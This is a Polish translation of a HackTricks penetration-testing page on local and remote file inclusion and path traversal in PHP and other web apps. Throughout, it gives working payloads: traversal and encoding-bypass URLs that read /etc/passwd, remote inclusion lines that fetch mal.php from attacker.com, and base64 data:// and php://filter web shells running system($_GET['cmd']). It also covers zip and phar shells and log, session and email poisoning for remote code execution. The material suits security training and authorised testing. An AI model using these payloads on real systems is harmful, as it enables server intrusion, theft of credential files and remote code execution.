File Inclusion/Path traversal

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spostrzeżenia dotyczące hakerstwa Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo dotyczące hakerstwa Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo

Najnowsze ogłoszenia Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Włączenie pliku

Zdalne włączenie pliku (RFI): Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykonuje). W php jest to wyłączone domyślnie (allow_url_include). Lokalne włączenie pliku (LFI): Serwer ładuje lokalny plik.

Podatność występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer.

Podatne funkcje PHP: require, require_once, include, include_once

Interesujące narzędzie do wykorzystania tej podatności: https://github.com/kurobeats/fimap

Ślepe - Interesujące - Pliki LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mieszając kilka list LFI dla systemów *nix i dodając więcej ścieżek, stworzyłem tę listę:

Spróbuj również zamienić / na \ Spróbuj również dodać ../../../../../

Listę wykorzystującą kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy istnieje podatność) można znaleźć tutaj

Windows

Połączenie różnych list słów:

Spróbuj również zamienić / na \ Spróbuj również usunąć C:/ i dodać ../../../../../

Listę wykorzystującą kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy istnieje podatność) można znaleźć tutaj

OS X

Sprawdź listę LFI dla systemu Linux.

Podstawowe LFI i bypassy

Wszystkie przykłady dotyczą lokalnego włączenia pliku, ale mogą być również stosowane do zdalnego włączenia pliku (strona=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sekwencje trawersowania pozbawione rekurencyjnie

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Bajt zerowy (%00)

Ominięcie dodawania dodatkowych znaków na końcu podanego ciągu znaków (ominięcie: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

To jest rozwiązane od wersji PHP 5.4

Kodowanie

Możesz użyć niestandardowych kodowań, takich jak podwójne kodowanie URL (i inne):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Z istniejącego folderu

Być może back-end sprawdza ścieżkę folderu:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Badanie katalogów systemu plików na serwerze

System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu i sprawdzaniu istnienia określonych folderów. Poniżej znajduje się szczegółowa metoda osiągnięcia tego:

  1. Określenie głębokości katalogu: Określ głębokość bieżącego katalogu, pobierając pomyślnie plik /etc/passwd (dotyczy to serwera opartego na systemie Linux). Przykładowy adres URL może być zbudowany w następujący sposób, wskazując na głębokość trzy:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sondowanie folderów: Dołącz nazwę podejrzanego folderu (np. private) do adresu URL, a następnie przejdź z powrotem do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Zinterpretuj wyniki: Odpowiedź serwera wskazuje, czy folder istnieje:

    • Błąd / Brak wyniku: Folder private prawdopodobnie nie istnieje w określonej lokalizacji.

    • Zawartość /etc/passwd: Potwierdza obecność folderu private.

  2. Rekursywne badanie: Odkryte foldery można dodatkowo sprawdzać pod kątem podfolderów lub plików, korzystając z tej samej techniki lub tradycyjnych metod lokalnego włączenia plików (LFI).

Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Technika skracania ścieżki

Skracanie ścieżki to metoda stosowana do manipulowania ścieżkami plików w aplikacjach internetowych. Jest często używana do uzyskiwania dostępu do ograniczonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po zmianie przez środek bezpieczeństwa nadal wskazuje na pożądany plik.

W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne ze względu na charakter systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd i /etc/passwd/ są traktowane jako ta sama ścieżka.

  • Gdy ostatnie 6 znaków to passwd, dołączenie / (tworząc passwd/) nie zmienia docelowego pliku.

  • Podobnie, jeśli do ścieżki pliku dodano .php (np. shellcode.php), dodanie /. na końcu nie zmieni dostępu do pliku.

Przedstawione przykłady pokazują, jak wykorzystać skracanie ścieżki do uzyskania dostępu do /etc/passwd, powszechnego celu ze względu na swoją wrażliwą zawartość (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba potrzebnych przekładni może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.

  • Użycie segmentów kropkowych i dodatkowych znaków: Sekwencje przekładni (../) połączone z dodatkowymi segmentami kropkowymi i znakami mogą być używane do nawigacji po systemie plików, efektywnie ignorując dołączone ciągi przez serwer.

  • Określenie wymaganej liczby przekładni: Poprzez próbę i błąd można znaleźć precyzyjną liczbę sekwencji ../ potrzebną do nawigacji do katalogu głównego, a następnie do /etc/passwd, zapewniając, że wszelkie dołączone ciągi (np. .php) są zneutralizowane, ale żądana ścieżka (/etc/passwd) pozostaje nietknięta.

  • Rozpoczęcie od fałszywego katalogu: To powszechne praktyka rozpoczynania ścieżki od nieistniejącego katalogu (np. a/). Ta technika jest stosowana jako środek ostrożności lub do spełnienia wymagań logiki analizy ścieżki serwera.

Podczas korzystania z technik skracania ścieżki ważne jest zrozumienie zachowania analizy ścieżki serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najbardziej skuteczną metodę.

Ta podatność została naprawiona w PHP 5.3.

Sztuczki bypassowania filtrów

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Zdalne dołączenie pliku

W PHP jest to domyślnie wyłączone, ponieważ allow_url_include jest ustawione na Off. Musi być ustawione na On, aby działało, wtedy można dołączyć plik PHP z serwera i uzyskać RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest Włączone, ale PHP filtrowanie dostępu do zewnętrznych stron, zgodnie z tym postem, można na przykład użyć protokołu danych z base64 do odszyfrowania kodu PHP w formacie b64 i uzyskać RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

W poprzednim kodzie końcówka +.txt została dodana, ponieważ atakujący potrzebował ciągu znaków kończącego się na .txt, więc ciąg kończy się tym i po zdekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a co za tym idzie, wykonany).

Kolejny przykład bez użycia protokołu php:// to:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Element główny Pythona

W Pythonie w kodzie takim jak ten:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik przekazuje bezwzględną ścieżkę do nazwa_pliku, to poprzednia ścieżka jest po prostu usunięta:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To jest zamierzone zachowanie zgodnie z dokumentacją:

Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuowane jest od komponentu ścieżki bezwzględnej.

Java Listowanie Katalogów

Wygląda na to, że jeśli masz Traversal ścieżki w Javie i poprosisz o katalog zamiast pliku, zostanie zwrócone listowanie katalogu. W innych językach to się nie zdarzy (o ile mi wiadomo).

Top 25 parametrów

Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie plików (LFI) (z linka):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI za pomocą opakowań i protokołów PHP

php://filter

Filtry PHP pozwalają na podstawowe operacje modyfikacji danych przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")

  • Należy zauważyć, że ten filtr zniknął z nowoczesnych wersji PHP

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : Przekształca do innego kodowania (convert.iconv.<input_enc>.<output_enc>). Aby uzyskać listę wszystkich obsługiwanych kodowań, uruchom w konsoli: iconv -l

Wykorzystując filtr konwersji convert.iconv.* można generować dowolny tekst, co może być przydatne do zapisywania dowolnego tekstu lub tworzenia funkcji, takiej jak proces dołączania dowolnego tekstu. Aby uzyskać więcej informacji, sprawdź LFI2RCE za pomocą filtrów php.

  • zlib.deflate: Kompresuje zawartość (przydatne przy eksfiltracji dużej ilości informacji)

  • zlib.inflate: Dekompresuje dane

  • mcrypt.* : Przestarzałe

  • mdecrypt.* : Przestarzałe

  • Inne filtry

  • Uruchomienie w PHP var_dump(stream_get_filters()); pozwala znaleźć kilka nieoczekiwanych filtrów:

  • consumed

  • dechunk: odwraca kodowanie kawałkowe HTTP

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Część "php://filter" jest nieczuła na wielkość liter

Korzystanie z filtrów php jako orakulum do odczytywania dowolnych plików

W tym poście proponowana jest technika odczytywania lokalnego pliku bez konieczności otrzymywania odpowiedzi zwrotnej od serwera. Ta technika opiera się na eksfiltracji pliku (znak po znaku) za pomocą filtrów php jako orakulum. Jest to możliwe, ponieważ filtry php mogą być używane do zwiększenia tekstu na tyle, aby php wygenerował wyjątek.

W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj jest szybkie podsumowanie:

  • Użyj kodeka UCS-4LE aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu zwiększa się wykładniczo.

  • Będzie to używane do wygenerowania tekstu na tyle dużego, że gdy początkowa litera zostanie odgadnięta poprawnie, php spowoduje błąd

  • Filtr dechunk usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy, dzięki czemu możemy dowiedzieć się, czy pierwszy znak jest szesnastkowy.

  • To, połączone z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, aby przestała być to szesnastkowa litera. Ponieważ jeśli jest szesnastkowa, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php.

  • Kodek convert.iconv.UNICODE.CP930 przekształca każdą literę w kolejną (więc po zastosowaniu tego kodera: a -> b). Pozwala to nam dowiedzieć się, czy pierwsza litera to na przykład a, ponieważ jeśli zastosujemy 6 razy ten kod a->b->c->d->e->f->g litera przestaje być szesnastkową literą, dlatego dechunk jej nie usunie, a błąd php zostanie wywołany, ponieważ mnoży się z początkową bombą.

  • Korzystając z innych transformacji, takich jak rot13 na początku, możliwe jest ujawnienie innych znaków, takich jak n, o, p, q, r (i inne kody mogą być użyte do przeniesienia innych liter do zakresu szesnastkowego).

  • Gdy początkowy znak to liczba, konieczne jest zakodowanie jej w base64 i ujawnienie 2 pierwszych liter, aby ujawnić liczbę.

  • Ostatecznym problemem jest zobaczenie, jak ujawnić więcej niż początkową literę. Korzystając z filtrów pamięci porządkowej, takich jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, możliwe jest zmienienie kolejności znaków i uzyskanie w pierwszej pozycji innych liter tekstu.

  • Aby móc uzyskać dalsze dane, pomysłem jest generowanie 2 bajtów danych śmieciowych na początku za pomocą convert.iconv.UTF16.UTF16, zastosowanie UCS-4LE aby zrobić z nich punkt z następnymi 2 bajtami, i usunięcie danych do danych śmieciowych (to usunie 2 pierwsze bajty początkowego tekstu). Kontynuuj to aż osiągniesz pożądany bit do ujawnienia.

W poście zostało również ujawnione narzędzie do automatycznego wykonania tego: php_filters_chain_oracle_exploit.

php://fd

Ten otok pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz również użyć php://stdin, php://stdout i php://stderr do uzyskania dostępu odpowiednio do deskryptorów plików 0, 1 i 2 (nie jestem pewien, jak to może być przydatne w ataku)

zip:// i rar://

Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp. Aby móc nadużyć protokołu rar, musi być on specjalnie aktywowany.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Data URI (Uniform Resource Identifier) jest małą techniką, która pozwala osadzać dane bezpośrednio w adresie URL. Może to być wykorzystane do osadzania małych plików, takich jak obrazy lub pliki CSS, bez konieczności odwoływania się do zewnętrznych zasobów.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Zauważ, że ten protokół jest ograniczony przez konfiguracje php allow_url_open i allow_url_include

expect://

Oczekiwanie musi być aktywowane. Możesz wykonać kod, używając tego:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Określ swój ładunek w parametrach POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być wykorzystany do wykonania kodu PHP, gdy aplikacja internetowa wykorzystuje funkcje takie jak include do ładowania plików. Poniższy fragment kodu PHP demonstruje tworzenie pliku .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

php --define phar.readonly=0 create_path.php

Podczas wykonywania zostanie utworzony plik o nazwie test.phar, który potencjalnie może być wykorzystany do wykorzystania podatności na lokalne uwzględnienie plików (LFI).

W przypadkach, gdy LFI wykonuje tylko odczyt pliku bez wykonywania kodu PHP wewnątrz, poprzez funkcje takie jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), lub filesize(), można próbować wykorzystać podatność deserializacji. Ta podatność jest związana z odczytem plików za pomocą protokołu phar.

Dla szczegółowego zrozumienia wykorzystywania podatności deserializacji w kontekście plików .phar, zapoznaj się z dokumentem podlinkowanym poniżej:

Przewodnik po eksploatacji deserializacji Phar

Więcej protokołów

Sprawdź więcej możliwych protokołów do uwzględnienia tutaj:

  • php://memory i php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak może to być przydatne w ataku na uwzględnienie plików)

  • file:// — Dostęp do lokalnego systemu plików

  • http:// — Dostęp do adresów URL HTTP(s)

  • ftp:// — Dostęp do adresów URL FTP(s)

  • zlib:// — Strumienie kompresji

  • glob:// — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc tutaj nie jest naprawdę przydatne)

  • ssh2:// — Secure Shell 2

  • ogg:// — Strumienie audio (Nie przydatne do odczytu dowolnych plików)

LFI za pomocą 'assert' w PHP

Ryzyko lokalnego uwzględnienia plików (LFI) w PHP jest szczególnie wysokie przy korzystaniu z funkcji 'assert', która może wykonywać kod wewnątrz ciągów znaków. Jest to szczególnie problematyczne, jeśli wejście zawiera znaki nawigacji po katalogach, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczone.

Na przykład, kod PHP może być zaprojektowany w taki sposób, aby zapobiec nawigacji po katalogach, jak poniżej:

assert("strpos('$file', '..') === false") or die("");

W czasie gdy to ma na celu zatrzymanie traversala, niechcący tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytywania zawartości pliku, atakujący mógłby użyć:

' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonania dowolnych poleceń systemowych, można użyć:

' and die(system("id")) or '

Jest ważne, aby zakodować adresy URL tych ładunków.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w Hacking Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania

Aktualności z Hackingu w Czasie Rzeczywistym Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i wglądom w czasie rzeczywistym

Najnowsze Ogłoszenia Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Ślepa Trawersacja Ścieżki w PHP

Ta technika jest istotna w przypadkach, gdy kontrolujesz ścieżkę pliku funkcji PHP, która będzie odczytywać plik, ale nie zobaczysz zawartości pliku (jak proste wywołanie file()), ale zawartość nie jest wyświetlana.

W tym niesamowitym poście wyjaśniono, jak ślepa trawersacja ścieżki może być nadużyta za pomocą filtru PHP do wycieku zawartości pliku za pomocą orakulum błędów.

Podsumowując, technika polega na użyciu kodowania "UCS-4LE", aby zawartość pliku była tak duża, że funkcja PHP otwierająca plik spowoduje błąd.

Następnie, aby ujawnić pierwszy znak, filtr dechunk jest używany wraz z innymi, takimi jak base64 lub rot13, a na końcu używane są filtry convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE, aby umieścić inne znaki na początku i ujawnić je.

Funkcje, które mogą być podatne: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (tylko docelowy odczyt z tym), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Sprawdź szczegóły techniczne w wymienionym poście!

LFI2RCE

Zdalne Dołączenie Pliku

Wyjaśnione wcześniej, śledź ten link.

Poprzez plik dziennika Apache/Nginx

Jeśli serwer Apache lub Nginx jest podatny na LFI wewnątrz funkcji dołączania, możesz spróbować uzyskać dostęp do /var/log/apache2/access.log lub /var/log/nginx/access.log, ustaw w nagłówku użytkownika lub w parametrze GET powłokę PHP taką jak <?php system($_GET['c']); ?> i dołącz ten plik

Zauważ, że jeśli używasz podwójnych cudzysłowów dla powłoki zamiast pojedynczych cudzysłowów, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "quote;", PHP wyrzuci błąd i nic więcej nie będzie wykonane.

Upewnij się również, że poprawnie zapisujesz ładunek lub PHP będzie zwracać błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.

To samo można zrobić w innych dziennikach, ale bądź ostrożny, kod wewnątrz dzienników może być zakodowany w adresie URL i może to zniszczyć Powłokę. Nagłówek autoryzacji "basic" zawiera "użytkownik:hasło" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell można wstawić wewnątrz tego nagłówka. Inne możliwe ścieżki dziennika:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Za pomocą E-maila

Wyślij e-mail na wewnętrzne konto (user@localhost) zawierający swój ładunek PHP, na przykład <?php echo system($_REQUEST["cmd"]); ?>, i spróbuj dołączyć do e-maila użytkownika ścieżkę taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Za pomocą /proc/*/fd/*

  1. Prześlij wiele powłok (na przykład: 100)

  2. Dołącz http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (może być złamany siłą brute) i $FD deskryptor pliku (również może być złamany siłą brute)

Za pomocą /proc/self/environ

Jak w pliku dziennika, prześlij ładunek w nagłówku User-Agent, który zostanie odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Za pomocą przesyłania pliku

Jeśli możesz przesłać plik, po prostu wstrzyknij do niego ładunek powłoki (np. : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf

Za pomocą przesyłania pliku ZIP

Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Za pomocą sesji PHP

Sprawdź, czy strona internetowa używa sesji PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP te sesje są przechowywane w plikach /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw ciasteczko na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI dołączyć plik sesji PHP.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Za pośrednictwem ssh

Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Za pośrednictwem logów vsftpd

Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W przypadku istnienia podatności na Włączenie Lokalnego Pliku (LFI) i możliwości dostępu do narażonego serwera vsftpd, można rozważyć następujące kroki:

  1. Wstrzyknij ładunek PHP do pola nazwy użytkownika podczas procesu logowania.

  2. Po wstrzyknięciu, skorzystaj z LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Za pomocą filtra php base64 (używając base64)

Jak pokazano w tym artykule, filtr base64 PHP po prostu ignoruje Non-base64. Możesz użyć tego do ominięcia sprawdzania rozszerzenia pliku: jeśli dostarczysz base64 kończący się na ".php", to po prostu zignoruje "." i dołączy "php" do base64. Oto przykładowy ładunek:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Za pomocą filtrów php (nie jest potrzebny plik)

Ten opis wyjaśnia, że można użyć filtrów php do generowania dowolnej zawartości jako wyniku. Oznacza to w zasadzie, że można generować dowolny kod php do dołączenia bez konieczności zapisywania go do pliku.

Za pomocą błędu segmentacji

Prześlij plik, który zostanie przechowany jako tymczasowy w /tmp, a następnie w tym samym żądaniu, wywołaj błąd segmentacji, wtedy tymczasowy plik nie zostanie usunięty i będziesz mógł go wyszukać.

Za pomocą przechowywania plików tymczasowych Nginx

Jeśli znalazłeś Włączenie Pliku Lokalnego i Nginx działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:

Za pomocą PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Włączenie Pliku Lokalnego nawet jeśli nie masz sesji i session.auto_start jest Off. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP włączy sesję dla ciebie. Możesz wykorzystać to do uzyskania RCE:

Za pomocą przesyłania plików tymczasowych w systemie Windows

Jeśli znalazłeś Włączenie Pliku Lokalnego i serwer działa w systemie Windows, możesz uzyskać RCE:

Za pomocą phpinfo() (file_uploads = on)

Jeśli znalazłeś Włączenie Pliku Lokalnego i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:

Za pomocą compress.zlib + PHP_STREAM_PREFER_STUDIO + Ujawnienie ścieżki

Jeśli znalazłeś Włączenie Pliku Lokalnego i możesz wyciec ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do dołączenia ma znaczniki PHP, możesz spróbować obejść tę kontrolę za pomocą tej Race Condition:

Za pomocą wiecznego oczekiwania + ataku brutalnej siły

Jeśli możesz wykorzystać Włączenie Pliku Lokalnego do przesyłania plików tymczasowych i spowodować, że serwer zawiesi wykonanie PHP, możesz następnie próbować brutalnej siły nazw plików przez godziny, aby znaleźć plik tymczasowy:

Do błędu krytycznego

Jeśli dołączysz którykolwiek z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz dołączyć ten sam plik 2 razy, aby spowodować ten błąd).

Nie wiem, jak to może być użyteczne, ale może być. Nawet jeśli spowodujesz krytyczny błąd PHP, tymczasowe pliki przesłane przez PHP są usuwane.

Odnośniki

Dołącz do HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spojrzenia na Hacking Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania

Aktualności na Żywo o Hackingu Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo

Najnowsze Ogłoszenia Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platform

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated